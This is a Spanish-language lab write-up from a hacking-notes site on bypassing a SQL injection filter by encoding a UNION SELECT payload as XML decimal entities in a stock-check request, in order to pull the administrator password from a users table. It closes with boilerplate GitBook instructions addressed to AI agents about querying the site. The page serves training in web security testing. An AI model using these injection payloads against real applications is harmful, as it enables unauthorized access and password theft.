> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# Evasión de filtros de inyección SQL con codificación XML

### Inyección SQL con omisión de filtro mediante codificación XML

Este laboratorio contiene una vulnerabilidad de inyección SQL en la función de verificación de stock. Los resultados de la solicitud se devuelven en la respuesta de la aplicación; por lo tanto, podemos usar un `UNION` ataque para recuperar datos de otras tablas. / La base de datos contiene una `users` tabla que contiene los nombres de usuario y las contraseñas de los usuarios registrados. Para resolver el laboratorio, realiza un ataque de inyección SQL para obtener los IDs de usuario administrador y luego inicia sesión en su cuenta.

Ejemplos proporcionados:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/49487f9f07ab6389c9a73112bd307a45bace6a34" alt=""><figcaption></figcaption></figure>

* Extensión Hackvertor — entidades decimales

<figure><img src="/files/1b231944273f16fd140fc08bcc1c3397e9faa68a" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/ff08c5e4d86d2c6447784ea5a1e9f9eae97442dc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
